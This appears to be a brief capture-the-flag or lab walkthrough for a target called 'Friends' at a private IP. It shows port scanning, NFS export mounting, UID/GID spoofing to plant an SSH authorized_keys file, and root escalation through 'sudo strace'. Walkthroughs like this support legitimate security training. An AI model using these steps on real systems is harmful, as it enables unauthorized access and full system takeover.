Friends — Evolve Security (10.50.148.45)

<content> ### Information Gathering ```bash sudo rustscan -a friends -- -A -sC # SSH + NFS ``` ### NFS enumeration ```shell showmount -e 10.50.148.45 sudo mount -t nfs friends:/home/ross /mnt stat /mnt # owned by uid 1001, group 1005 ``` ### Foothold: matching UID/GID to write authorized_keys Create a local user whose uid/gid match the NFS export owner, then drop an SSH key: ```shell sudo useradd -u 1001 ross sudo groupadd -g 1005 friends sudo usermod -g 1005 ross su ross ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa # In the mounted export: mkdir /mnt/.ssh; cp ~/.ssh/id_rsa.pub /mnt/.ssh/authorized_keys ssh ross@friends -i /home/ross/.ssh/id_rsa ``` ### Privesc ```bash sudo -l sudo strace -o /dev/null /bin/sh # -> root ``` Cleanup afterward: `sudo userdel ross; sudo groupdel friends`.